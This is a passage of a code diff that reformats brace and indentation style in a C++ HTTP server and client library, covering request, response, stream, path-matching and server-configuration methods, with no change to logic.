MultipartFormData Request::get_file_value(const std::string &key) const { - auto it = files.find(key); - if (it != files.end()) { return it->second; } - return MultipartFormData(); +inline MultipartFormData Request::get_file_value(const std::string &key) const +{ + auto it = files.find(key); + if (it != files.end()) { + return it->second; + } + return MultipartFormData(); } inline std::vector -Request::get_file_values(const std::string &key) const { - std::vector values; - auto rng = files.equal_range(key); - for (auto it = rng.first; it != rng.second; it++) { - values.push_back(it->second); - } - return values; +Request::get_file_values(const std::string &key) const +{ + std::vector values; + auto rng = files.equal_range(key); + for (auto it = rng.first; it != rng.second; it++) { + values.push_back(it->second); + } + return values; } // Response implementation -inline bool Response::has_header(const std::string &key) const { - return headers.find(key) != headers.end(); +inline bool Response::has_header(const std::string &key) const +{ + return headers.find(key) != headers.end(); } inline std::string Response::get_header_value(const std::string &key, - size_t id) const { - return detail::get_header_value(headers, key, id, ""); + size_t id) const +{ + return detail::get_header_value(headers, key, id, ""); } -inline size_t Response::get_header_value_count(const std::string &key) const { - auto r = headers.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +inline size_t Response::get_header_value_count(const std::string &key) const +{ + auto r = headers.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } inline void Response::set_header(const std::string &key, - const std::string &val) { - if (!detail::has_crlf(key) && !detail::has_crlf(val)) { - headers.emplace(key, val); - } + const std::string &val) +{ + if (!detail::has_crlf(key) && !detail::has_crlf(val)) { + headers.emplace(key, val); + } } -inline void Response::set_redirect(const std::string &url, int stat) { - if (!detail::has_crlf(url)) { - set_header("Location", url); - if (300 <= stat && stat < 400) { - this->status = stat; - } else { - this->status = StatusCode::Found_302; +inline void Response::set_redirect(const std::string &url, int stat) +{ + if (!detail::has_crlf(url)) { + set_header("Location", url); + if (300 <= stat && stat < 400) { + this->status = stat; + } else { + this->status = StatusCode::Found_302; + } } - } } inline void Response::set_content(const char *s, size_t n, - const std::string &content_type) { - body.assign(s, n); + const std::string &content_type) +{ + body.assign(s, n); - auto rng = headers.equal_range("Content-Type"); - headers.erase(rng.first, rng.second); - set_header("Content-Type", content_type); + auto rng = headers.equal_range("Content-Type"); + headers.erase(rng.first, rng.second); + set_header("Content-Type", content_type); } inline void Response::set_content(const std::string &s, - const std::string &content_type) { - set_content(s.data(), s.size(), content_type); + const std::string &content_type) +{ + set_content(s.data(), s.size(), content_type); } inline void Response::set_content_provider( size_t in_length, const std::string &content_type, ContentProvider provider, - ContentProviderResourceReleaser resource_releaser) { - set_header("Content-Type", content_type); - content_length_ = in_length; - if (in_length > 0) { content_provider_ = std::move(provider); } - content_provider_resource_releaser_ = resource_releaser; - is_chunked_content_provider_ = false; + ContentProviderResourceReleaser resource_releaser) +{ + set_header("Content-Type", content_type); + content_length_ = in_length; + if (in_length > 0) { + content_provider_ = std::move(provider); + } + content_provider_resource_releaser_ = resource_releaser; + is_chunked_content_provider_ = false; } inline void Response::set_content_provider( const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser) { - set_header("Content-Type", content_type); - content_length_ = 0; - content_provider_ = detail::ContentProviderAdapter(std::move(provider)); - content_provider_resource_releaser_ = resource_releaser; - is_chunked_content_provider_ = false; + ContentProviderResourceReleaser resource_releaser) +{ + set_header("Content-Type", content_type); + content_length_ = 0; + content_provider_ = detail::ContentProviderAdapter(std::move(provider)); + content_provider_resource_releaser_ = resource_releaser; + is_chunked_content_provider_ = false; } inline void Response::set_chunked_content_provider( const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser) { - set_header("Content-Type", content_type); - content_length_ = 0; - content_provider_ = detail::ContentProviderAdapter(std::move(provider)); - content_provider_resource_releaser_ = resource_releaser; - is_chunked_content_provider_ = true; + ContentProviderResourceReleaser resource_releaser) +{ + set_header("Content-Type", content_type); + content_length_ = 0; + content_provider_ = detail::ContentProviderAdapter(std::move(provider)); + content_provider_resource_releaser_ = resource_releaser; + is_chunked_content_provider_ = true; } // Result implementation -inline bool Result::has_request_header(const std::string &key) const { - return request_headers_.find(key) != request_headers_.end(); +inline bool Result::has_request_header(const std::string &key) const +{ + return request_headers_.find(key) != request_headers_.end(); } inline std::string Result::get_request_header_value(const std::string &key, - size_t id) const { - return detail::get_header_value(request_headers_, key, id, ""); + size_t id) const +{ + return detail::get_header_value(request_headers_, key, id, ""); } inline size_t -Result::get_request_header_value_count(const std::string &key) const { - auto r = request_headers_.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +Result::get_request_header_value_count(const std::string &key) const +{ + auto r = request_headers_.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } // Stream implementation -inline ssize_t Stream::write(const char *ptr) { - return write(ptr, strlen(ptr)); +inline ssize_t Stream::write(const char *ptr) +{ + return write(ptr, strlen(ptr)); } -inline ssize_t Stream::write(const std::string &s) { - return write(s.data(), s.size()); +inline ssize_t Stream::write(const std::string &s) +{ + return write(s.data(), s.size()); } -namespace detail { +namespace detail +{ // Socket stream implementation inline SocketStream::SocketStream(socket_t sock, time_t read_timeout_sec, @@ -5405,205 +6124,243 @@ inline SocketStream::SocketStream(socket_t sock, time_t read_timeout_sec, inline SocketStream::~SocketStream() = default; -inline bool SocketStream::is_readable() const { - return select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; +inline bool SocketStream::is_readable() const +{ + return select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; } -inline bool SocketStream::is_writable() const { - return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && - is_socket_alive(sock_); +inline bool SocketStream::is_writable() const +{ + return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && + is_socket_alive(sock_); } -inline ssize_t SocketStream::read(char *ptr, size_t size) { +inline ssize_t SocketStream::read(char *ptr, size_t size) +{ #ifdef _WIN32 - size = - (std::min)(size, static_cast((std::numeric_limits::max)())); + size = + (std::min)(size, static_cast((std::numeric_limits::max)())); #else - size = (std::min)(size, - static_cast((std::numeric_limits::max)())); + size = (std::min)(size, + static_cast((std::numeric_limits::max)())); #endif - if (read_buff_off_ < read_buff_content_size_) { - auto remaining_size = read_buff_content_size_ - read_buff_off_; - if (size <= remaining_size) { - memcpy(ptr, read_buff_.data() + read_buff_off_, size); - read_buff_off_ += size; - return static_cast(size); - } else { - memcpy(ptr, read_buff_.data() + read_buff_off_, remaining_size); - read_buff_off_ += remaining_size; - return static_cast(remaining_size); + if (read_buff_off_ < read_buff_content_size_) { + auto remaining_size = read_buff_content_size_ - read_buff_off_; + if (size <= remaining_size) { + memcpy(ptr, read_buff_.data() + read_buff_off_, size); + read_buff_off_ += size; + return static_cast(size); + } else { + memcpy(ptr, read_buff_.data() + read_buff_off_, remaining_size); + read_buff_off_ += remaining_size; + return static_cast(remaining_size); + } } - } - if (!is_readable()) { return -1; } - - read_buff_off_ = 0; - read_buff_content_size_ = 0; - - if (size < read_buff_size_) { - auto n = read_socket(sock_, read_buff_.data(), read_buff_size_, - CPPHTTPLIB_RECV_FLAGS); - if (n <= 0) { - return n; - } else if (n <= static_cast(size)) { - memcpy(ptr, read_buff_.data(), static_cast(n)); - return n; - } else { - memcpy(ptr, read_buff_.data(), size); - read_buff_off_ = size; - read_buff_content_size_ = static_cast(n); - return static_cast(size); + if (!is_readable()) { + return -1; + } + + read_buff_off_ = 0; + read_buff_content_size_ = 0; + + if (size < read_buff_size_) { + auto n = read_socket(sock_, read_buff_.data(), read_buff_size_, + CPPHTTPLIB_RECV_FLAGS); + if (n <= 0) { + return n; + } else if (n <= static_cast(size)) { + memcpy(ptr, read_buff_.data(), static_cast(n)); + return n; + } else { + memcpy(ptr, read_buff_.data(), size); + read_buff_off_ = size; + read_buff_content_size_ = static_cast(n); + return static_cast(size); + } + } else { + return read_socket(sock_, ptr, size, CPPHTTPLIB_RECV_FLAGS); } - } else { - return read_socket(sock_, ptr, size, CPPHTTPLIB_RECV_FLAGS); - } } -inline ssize_t SocketStream::write(const char *ptr, size_t size) { - if (!is_writable()) { return -1; } +inline ssize_t SocketStream::write(const char *ptr, size_t size) +{ + if (!is_writable()) { + return -1; + } #if defined(_WIN32) && !defined(_WIN64) - size = - (std::min)(size, static_cast((std::numeric_limits::max)())); + size = + (std::min)(size, static_cast((std::numeric_limits::max)())); #endif - return send_socket(sock_, ptr, size, CPPHTTPLIB_SEND_FLAGS); + return send_socket(sock_, ptr, size, CPPHTTPLIB_SEND_FLAGS); } inline void SocketStream::get_remote_ip_and_port(std::string &ip, - int &port) const { - return detail::get_remote_ip_and_port(sock_, ip, port); + int &port) const +{ + return detail::get_remote_ip_and_port(sock_, ip, port); } inline void SocketStream::get_local_ip_and_port(std::string &ip, - int &port) const { - return detail::get_local_ip_and_port(sock_, ip, port); + int &port) const +{ + return detail::get_local_ip_and_port(sock_, ip, port); } -inline socket_t SocketStream::socket() const { return sock_; } +inline socket_t SocketStream::socket() const +{ + return sock_; +} // Buffer stream implementation -inline bool BufferStream::is_readable() const { return true; } - -inline bool BufferStream::is_writable() const { return true; } - -inline ssize_t BufferStream::read(char *ptr, size_t size) { -#if defined(_MSC_VER) && _MSC_VER < 1910 - auto len_read = buffer._Copy_s(ptr, size, size, position); -#else - auto len_read = buffer.copy(ptr, size, position); -#endif - position += static_cast(len_read); - return static_cast(len_read); +inline bool BufferStream::is_readable() const +{ + return true; } -inline ssize_t BufferStream::write(const char *ptr, size_t size) { - buffer.append(ptr, size); - return static_cast(size); +inline bool BufferStream::is_writable() const +{ + return true; +} + +inline ssize_t BufferStream::read(char *ptr, size_t size) +{ +#if defined(_MSC_VER) && _MSC_VER < 1910 + auto len_read = buffer._Copy_s(ptr, size, size, position); +#else + auto len_read = buffer.copy(ptr, size, position); +#endif + position += static_cast(len_read); + return static_cast(len_read); +} + +inline ssize_t BufferStream::write(const char *ptr, size_t size) +{ + buffer.append(ptr, size); + return static_cast(size); } inline void BufferStream::get_remote_ip_and_port(std::string & /*ip*/, - int & /*port*/) const {} + int & /*port*/) const {} inline void BufferStream::get_local_ip_and_port(std::string & /*ip*/, - int & /*port*/) const {} + int & /*port*/) const {} -inline socket_t BufferStream::socket() const { return 0; } - -inline const std::string &BufferStream::get_buffer() const { return buffer; } - -inline PathParamsMatcher::PathParamsMatcher(const std::string &pattern) { - // One past the last ending position of a path param substring - std::size_t last_param_end = 0; - -#ifndef CPPHTTPLIB_NO_EXCEPTIONS - // Needed to ensure that parameter names are unique during matcher - // construction - // If exceptions are disabled, only last duplicate path - // parameter will be set - std::unordered_set param_name_set; -#endif - - while (true) { - const auto marker_pos = pattern.find(marker, last_param_end); - if (marker_pos == std::string::npos) { break; } - - static_fragments_.push_back( - pattern.substr(last_param_end, marker_pos - last_param_end)); - - const auto param_name_start = marker_pos + 1; - - auto sep_pos = pattern.find(separator, param_name_start); - if (sep_pos == std::string::npos) { sep_pos = pattern.length(); } - - auto param_name = - pattern.substr(param_name_start, sep_pos - param_name_start); - -#ifndef CPPHTTPLIB_NO_EXCEPTIONS - if (param_name_set.find(param_name) != param_name_set.cend()) { - std::string msg = "Encountered path parameter '" + param_name + - "' multiple times in route pattern '" + pattern + "'."; - throw std::invalid_argument(msg); - } -#endif - - param_names_.push_back(std::move(param_name)); - - last_param_end = sep_pos + 1; - } - - if (last_param_end < pattern.length()) { - static_fragments_.push_back(pattern.substr(last_param_end)); - } +inline socket_t BufferStream::socket() const +{ + return 0; } -inline bool PathParamsMatcher::match(Request &request) const { - request.matches = std::smatch(); - request.path_params.clear(); - request.path_params.reserve(param_names_.size()); - - // One past the position at which the path matched the pattern last time - std::size_t starting_pos = 0; - for (size_t i = 0; i < static_fragments_.size(); ++i) { - const auto &fragment = static_fragments_[i]; - - if (starting_pos + fragment.length() > request.path.length()) { - return false; - } - - // Avoid unnecessary allocation by using strncmp instead of substr + - // comparison - if (std::strncmp(request.path.c_str() + starting_pos, fragment.c_str(), - fragment.length()) != 0) { - return false; - } - - starting_pos += fragment.length(); - - // Should only happen when we have a static fragment after a param - // Example: '/users/:id/subscriptions' - // The 'subscriptions' fragment here does not have a corresponding param - if (i >= param_names_.size()) { continue; } - - auto sep_pos = request.path.find(separator, starting_pos); - if (sep_pos == std::string::npos) { sep_pos = request.path.length(); } - - const auto ¶m_name = param_names_[i]; - - request.path_params.emplace( - param_name, request.path.substr(starting_pos, sep_pos - starting_pos)); - - // Mark everythin up to '/' as matched - starting_pos = sep_pos + 1; - } - // Returns false if the path is longer than the pattern - return starting_pos >= request.path.length(); +inline const std::string &BufferStream::get_buffer() const +{ + return buffer; } -inline bool RegexMatcher::match(Request &request) const { - request.path_params.clear(); - return std::regex_match(request.path, request.matches, regex_); +inline PathParamsMatcher::PathParamsMatcher(const std::string &pattern) +{ + // One past the last ending position of a path param substring + std::size_t last_param_end = 0; + +#ifndef CPPHTTPLIB_NO_EXCEPTIONS + // Needed to ensure that parameter names are unique during matcher + // construction + // If exceptions are disabled, only last duplicate path + // parameter will be set + std::unordered_set param_name_set; +#endif + + while (true) { + const auto marker_pos = pattern.find(marker, last_param_end); + if (marker_pos == std::string::npos) { + break; + } + + static_fragments_.push_back( + pattern.substr(last_param_end, marker_pos - last_param_end)); + + const auto param_name_start = marker_pos + 1; + + auto sep_pos = pattern.find(separator, param_name_start); + if (sep_pos == std::string::npos) { + sep_pos = pattern.length(); + } + + auto param_name = + pattern.substr(param_name_start, sep_pos - param_name_start); + +#ifndef CPPHTTPLIB_NO_EXCEPTIONS + if (param_name_set.find(param_name) != param_name_set.cend()) { + std::string msg = "Encountered path parameter '" + param_name + + "' multiple times in route pattern '" + pattern + "'."; + throw std::invalid_argument(msg); + } +#endif + + param_names_.push_back(std::move(param_name)); + + last_param_end = sep_pos + 1; + } + + if (last_param_end < pattern.length()) { + static_fragments_.push_back(pattern.substr(last_param_end)); + } +} + +inline bool PathParamsMatcher::match(Request &request) const +{ + request.matches = std::smatch(); + request.path_params.clear(); + request.path_params.reserve(param_names_.size()); + + // One past the position at which the path matched the pattern last time + std::size_t starting_pos = 0; + for (size_t i = 0; i < static_fragments_.size(); ++i) { + const auto &fragment = static_fragments_[i]; + + if (starting_pos + fragment.length() > request.path.length()) { + return false; + } + + // Avoid unnecessary allocation by using strncmp instead of substr + + // comparison + if (std::strncmp(request.path.c_str() + starting_pos, fragment.c_str(), + fragment.length()) != 0) { + return false; + } + + starting_pos += fragment.length(); + + // Should only happen when we have a static fragment after a param + // Example: '/users/:id/subscriptions' + // The 'subscriptions' fragment here does not have a corresponding param + if (i >= param_names_.size()) { + continue; + } + + auto sep_pos = request.path.find(separator, starting_pos); + if (sep_pos == std::string::npos) { + sep_pos = request.path.length(); + } + + const auto ¶m_name = param_names_[i]; + + request.path_params.emplace( + param_name, request.path.substr(starting_pos, sep_pos - starting_pos)); + + // Mark everythin up to '/' as matched + starting_pos = sep_pos + 1; + } + // Returns false if the path is longer than the pattern + return starting_pos >= request.path.length(); +} + +inline bool RegexMatcher::match(Request &request) const +{ + request.path_params.clear(); + return std::regex_match(request.path, request.matches, regex_); } } // namespace detail @@ -5611,1097 +6368,1233 @@ inline bool RegexMatcher::match(Request &request) const { // HTTP server implementation inline Server::Server() : new_task_queue( - [] { return new ThreadPool(CPPHTTPLIB_THREAD_POOL_COUNT); }) { + [] +{ + return new ThreadPool(CPPHTTPLIB_THREAD_POOL_COUNT); +}) +{ #ifndef _WIN32 - signal(SIGPIPE, SIG_IGN); + signal(SIGPIPE, SIG_IGN); #endif } inline Server::~Server() = default; inline std::unique_ptr -Server::make_matcher(const std::string &pattern) { - if (pattern.find("/:") != std::string::npos) { - return detail::make_unique(pattern); - } else { - return detail::make_unique(pattern); - } +Server::make_matcher(const std::string &pattern) +{ + if (pattern.find("/:") != std::string::npos) { + return detail::make_unique(pattern); + } else { + return detail::make_unique(pattern); + } } -inline Server &Server::Get(const std::string &pattern, Handler handler) { - get_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Get(const std::string &pattern, Handler handler) +{ + get_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } -inline Server &Server::Post(const std::string &pattern, Handler handler) { - post_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Post(const std::string &pattern, Handler handler) +{ + post_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Post(const std::string &pattern, - HandlerWithContentReader handler) { - post_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + post_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Put(const std::string &pattern, Handler handler) { - put_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Put(const std::string &pattern, Handler handler) +{ + put_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Put(const std::string &pattern, - HandlerWithContentReader handler) { - put_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + put_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Patch(const std::string &pattern, Handler handler) { - patch_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Patch(const std::string &pattern, Handler handler) +{ + patch_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Patch(const std::string &pattern, - HandlerWithContentReader handler) { - patch_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + patch_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Delete(const std::string &pattern, Handler handler) { - delete_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Delete(const std::string &pattern, Handler handler) +{ + delete_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Delete(const std::string &pattern, - HandlerWithContentReader handler) { - delete_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + delete_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Options(const std::string &pattern, Handler handler) { - options_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Options(const std::string &pattern, Handler handler) +{ + options_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline bool Server::set_base_dir(const std::string &dir, - const std::string &mount_point) { - return set_mount_point(mount_point, dir); + const std::string &mount_point) +{ + return set_mount_point(mount_point, dir); } inline bool Server::set_mount_point(const std::string &mount_point, - const std::string &dir, Headers headers) { - if (detail::is_dir(dir)) { - std::string mnt = !mount_point.empty() ? mount_point : "/"; - if (!mnt.empty() && mnt[0] == '/') { - base_dirs_.push_back({mnt, dir, std::move(headers)}); - return true; + const std::string &dir, Headers headers) +{ + if (detail::is_dir(dir)) { + std::string mnt = !mount_point.empty() ? mount_point : "/"; + if (!mnt.empty() && mnt[0] == '/') { + base_dirs_.push_back({mnt, dir, std::move(headers)}); + return true; + } } - } - return false; + return false; } -inline bool Server::remove_mount_point(const std::string &mount_point) { - for (auto it = base_dirs_.begin(); it != base_dirs_.end(); ++it) { - if (it->mount_point == mount_point) { - base_dirs_.erase(it); - return true; +inline bool Server::remove_mount_point(const std::string &mount_point) +{ + for (auto it = base_dirs_.begin(); it != base_dirs_.end(); ++it) { + if (it->mount_point == mount_point) { + base_dirs_.erase(it); + return true; + } } - } - return false; + return false; } inline Server & Server::set_file_extension_and_mimetype_mapping(const std::string &ext, - const std::string &mime) { - file_extension_and_mimetype_map_[ext] = mime; - return *this; + const std::string &mime) +{ + file_extension_and_mimetype_map_[ext] = mime; + return *this; } -inline Server &Server::set_default_file_mimetype(const std::string &mime) { - default_file_mimetype_ = mime; - return *this; +inline Server &Server::set_default_file_mimetype(const std::string &mime) +{ + default_file_mimetype_ = mime; + return *this; } -inline Server &Server::set_file_request_handler(Handler handler) { - file_request_handler_ = std::move(handler); - return *this; +inline Server &Server::set_file_request_handler(Handler handler) +{ + file_request_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_error_handler(HandlerWithResponse handler) { - error_handler_ = std::move(handler); - return *this; +inline Server &Server::set_error_handler(HandlerWithResponse handler) +{ + error_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_error_handler(Handler handler) { - error_handler_ = [handler](const Request &req, Response &res) { - handler(req, res); - return HandlerResponse::Handled; - }; - return *this; +inline Server &Server::set_error_handler(Handler handler) +{ + error_handler_ = [handler](const Request &req, Response &res) { + handler(req, res); + return HandlerResponse::Handled; + }; + return *this; } -inline Server &Server::set_exception_handler(ExceptionHandler handler) { - exception_handler_ = std::move(handler); - return *this; +inline Server &Server::set_exception_handler(ExceptionHandler handler) +{ + exception_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_pre_routing_handler(HandlerWithResponse handler) { - pre_routing_handler_ = std::move(handler); - return *this; +inline Server &Server::set_pre_routing_handler(HandlerWithResponse handler) +{ + pre_routing_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_post_routing_handler(Handler handler) { - post_routing_handler_ = std::move(handler); - return *this; +inline Server &Server::set_post_routing_handler(Handler handler) +{ + post_routing_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_logger(Logger logger) { - logger_ = std::move(logger); - return *this; +inline Server &Server::set_logger(Logger logger) +{ + logger_ = std::move(logger); + return *this; } inline Server & -Server::set_expect_100_continue_handler(Expect100ContinueHandler handler) { - expect_100_continue_handler_ = std::move(handler); - return *this; +Server::set_expect_100_continue_handler(Expect100ContinueHandler handler) +{ + expect_100_continue_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_address_family(int family) { - address_family_ = family; - return *this; +inline Server &Server::set_address_family(int family) +{ + address_family_ = family; + return *this; } -inline Server &Server::set_tcp_nodelay(bool on) { - tcp_nodelay_ = on; - return *this; +inline Server &Server::set_tcp_nodelay(bool on) +{ + tcp_nodelay_ = on; + return *this; } -inline Server &Server::set_socket_options(SocketOptions socket_options) { - socket_options_ = std::move(socket_options); - return *this; +inline Server &Server::set_socket_options(SocketOptions socket_options) +{ + socket_options_ = std::move(socket_options); + return *this; } -inline Server &Server::set_default_headers(Headers headers) { - default_headers_ = std::move(headers); - return *this; +inline Server &Server::set_default_headers(Headers headers) +{ + default_headers_ = std::move(headers); + return *this; } inline Server &Server::set_header_writer( - std::function const &writer) { - header_writer_ = writer; - return *this; + std::function const &writer) +{ + header_writer_ = writer; + return *this; } -inline Server &Server::set_keep_alive_max_count(size_t count) { - keep_alive_max_count_ = count; - return *this; +inline Server &Server::set_keep_alive_max_count(size_t count) +{ + keep_alive_max_count_ = count; + return *this; } -inline Server &Server::set_keep_alive_timeout(time_t sec) { - keep_alive_timeout_sec_ = sec; - return *this; +inline Server &Server::set_keep_alive_timeout(time_t sec) +{ + keep_alive_timeout_sec_ = sec; + return *this; } -inline Server &Server::set_read_timeout(time_t sec, time_t usec) { - read_timeout_sec_ = sec; - read_timeout_usec_ = usec; - return *this; +inline Server &Server::set_read_timeout(time_t sec, time_t usec) +{ + read_timeout_sec_ = sec; + read_timeout_usec_ = usec; + return *this; } -inline Server &Server::set_write_timeout(time_t sec, time_t usec) { - write_timeout_sec_ = sec; - write_timeout_usec_ = usec; - return *this; +inline Server &Server::set_write_timeout(time_t sec, time_t usec) +{ + write_timeout_sec_ = sec; + write_timeout_usec_ = usec; + return *this; } -inline Server &Server::set_idle_interval(time_t sec, time_t usec) { - idle_interval_sec_ = sec; - idle_interval_usec_ = usec; - return *this; +inline Server &Server::set_idle_interval(time_t sec, time_t usec) +{ + idle_interval_sec_ = sec; + idle_interval_usec_ = usec; + return *this; } -inline Server &Server::set_payload_max_length(size_t length) { - payload_max_length_ = length; - return *this; +inline Server &Server::set_payload_max_length(size_t length) +{ + payload_max_length_ = length; + return *this; } inline bool Server::bind_to_port(const std::string &host, int port, - int socket_flags) { - return bind_internal(host, port, socket_flags) >= 0; + int socket_flags) +{ + return bind_internal(host, port, socket_flags) >= 0; } -inline int Server::bind_to_any_port(const std::string &host, int socket_flags) { - return bind_internal(host, 0, socket_flags); +inline int Server::bind_to_any_port(const std::string &host, int socket_flags) +{ + return bind_internal(host, 0, socket_flags); } -inline bool Server::listen_after_bind() { - auto se = detail::scope_exit([&]() { done_ = true; }); - return listen_internal(); +inline bool Server::listen_after_bind() +{ + auto se = detail::scope_exit([&]() { + done_ = true; + }); + return listen_internal(); } inline bool Server::listen(const std::string &host, int port, - int socket_flags) { - auto se = detail::scope_exit([&]() { done_ = true; }); - return bind_to_port(host, port, socket_flags) && listen_internal(); -} - -inline bool Server::is_running() const { return is_running_; } - -inline void Server::wait_until_ready() const { - while (!is_running() && !done_) { - std::this_thread::sleep_for(std::chrono::milliseconds{1}); - } -} - -inline void Server::stop() { - if (is_running_) { - assert(svr_sock_ != INVALID_SOCKET); - std::atomic sock(svr_sock_.exchange(INVALID_SOCKET)); - detail::shutdown_socket(sock); - detail::close_socket(sock); - } -} - -inline bool Server::parse_request_line(const char *s, Request &req) const { - auto len = strlen(s); - if (len < 2 || s[len - 2] != '\r' || s[len - 1] != '\n') { return false; } - len -= 2; - - { - size_t count = 0; - - detail::split(s, s + len, ' ', [&](const char *b, const char *e) { - switch (count) { - case 0: req.method = std::string(b, e); break; - case 1: req.target = std::string(b, e); break; - case 2: req.version = std::string(b, e); break; - default: break; - } - count++; + int socket_flags) +{ + auto se = detail::scope_exit([&]() { + done_ = true; }); + return bind_to_port(host, port, socket_flags) && listen_internal(); +} - if (count != 3) { return false; } - } +inline bool Server::is_running() const +{ + return is_running_; +} - static const std::set methods{ - "GET", "HEAD", "POST", "PUT", "DELETE", - "CONNECT", "OPTIONS", "TRACE", "PATCH", "PRI"}; +inline void Server::wait_until_ready() const +{ + while (!is_running() && !done_) { + std::this_thread::sleep_for(std::chrono::milliseconds{1}); + } +} - if (methods.find(req.method) == methods.end()) { return false; } +inline void Server::stop() +{ + if (is_running_) { + assert(svr_sock_ != INVALID_SOCKET); + std::atomic sock(svr_sock_.exchange(INVALID_SOCKET)); + detail::shutdown_socket(sock); + detail::close_socket(sock); + } +} - if (req.version != "HTTP/1.1" && req.version != "HTTP/1.0") { return false; } +inline bool Server::parse_request_line(const char *s, Request &req) const +{ + auto len = strlen(s); + if (len < 2 || s[len - 2] != '\r' || s[len - 1] != '\n') { + return false; + } + len -= 2; - { - // Skip URL fragment - for (size_t i = 0; i < req.target.size(); i++) { - if (req.target[i] == '#') { - req.target.erase(i); - break; - } + { + size_t count = 0; + + detail::split(s, s + len, ' ', [&](const char *b, const char *e) { + switch (count) { + case 0: + req.method = std::string(b, e); + break; + case 1: + req.target = std::string(b, e); + break; + case 2: + req.version = std::string(b, e); + break; + default: + break; + } + count++; + }); + + if (count != 3) { + return false; + } } - size_t count = 0; + static const std::set methods{ + "GET", "HEAD", "POST", "PUT", "DELETE", + "CONNECT", "OPTIONS", "TRACE", "PATCH", "PRI"}; - detail::split(req.target.data(), req.target.data() + req.target.size(), '?', - 2, [&](const char *b, const char *e) { - switch (count) { - case 0: - req.path = detail::decode_url(std::string(b, e), false); - break; - case 1: { - if (e - b > 0) { - detail::parse_query_text(std::string(b, e), req.params); - } - break; - } - default: break; - } - count++; - }); + if (methods.find(req.method) == methods.end()) { + return false; + } - if (count > 2) { return false; } - } + if (req.version != "HTTP/1.1" && req.version != "HTTP/1.0") { + return false; + } - return true; + { + // Skip URL fragment + for (size_t i = 0; i < req.target.size(); i++) { + if (req.target[i] == '#') { + req.target.erase(i); + break; + } + } + + size_t count = 0; + + detail::split(req.target.data(), req.target.data() + req.target.size(), '?', + 2, [&](const char *b, const char *e) { + switch (count) { + case 0: + req.path = detail::decode_url(std::string(b, e), false); + break; + case 1: { + if (e - b > 0) { + detail::parse_query_text(std::string(b, e), req.params); + } + break; + } + default: + break; + } + count++; + }); + + if (count > 2) { + return false; + } + } + + return true; } inline bool Server::write_response(Stream &strm, bool close_connection, - const Request &req, Response &res) { - return write_response_core(strm, close_connection, req, res, false); + const Request &req, Response &res) +{ + return write_response_core(strm, close_connection, req, res, false); } inline bool Server::write_response_with_content(Stream &strm, - bool close_connection, - const Request &req, - Response &res) { - return write_response_core(strm, close_connection, req, res, true); + bool close_connection, + const Request &req, + Response &res) +{ + return write_response_core(strm, close_connection, req, res, true); } inline bool Server::write_response_core(Stream &strm, bool close_connection, const Request &req, Response &res, - bool need_apply_ranges) { - assert(res.status != -1); + bool need_apply_ranges) +{ + assert(res.status != -1); - if (400 <= res.status && error_handler_ && - error_handler_(req, res) == HandlerResponse::Handled) { - need_apply_ranges = true; - } - - std::string content_type; - std::string boundary; - if (need_apply_ranges) { apply_ranges(req, res, content_type, boundary); } - - // Prepare additional headers - if (close_connection || req.get_header_value("Connection") == "close") { - res.set_header("Connection", "close"); - } else { - std::stringstream ss; - ss << "timeout=" << keep_alive_timeout_sec_ - << ", max=" << keep_alive_max_count_; - res.set_header("Keep-Alive", ss.str()); - } - - if (!res.has_header("Content-Type") && - (!res.body.empty() || res.content_length_ > 0 || res.content_provider_)) { - res.set_header("Content-Type", "text/plain"); - } - - if (!res.has_header("Content-Length") && res.body.empty() && - !res.content_length_ && !res.content_provider_) { - res.set_header("Content-Length", "0"); - } - - if (!res.has_header("Accept-Ranges") && req.method == "HEAD") { - res.set_header("Accept-Ranges", "bytes"); - } - - if (post_routing_handler_) { post_routing_handler_(req, res); } - - // Response line and headers - { - detail::BufferStream bstrm; - - if (!bstrm.write_format("HTTP/1.1 %d %s\r\n", res.status, - status_message(res.status))) { - return false; + if (400 <= res.status && error_handler_ && + 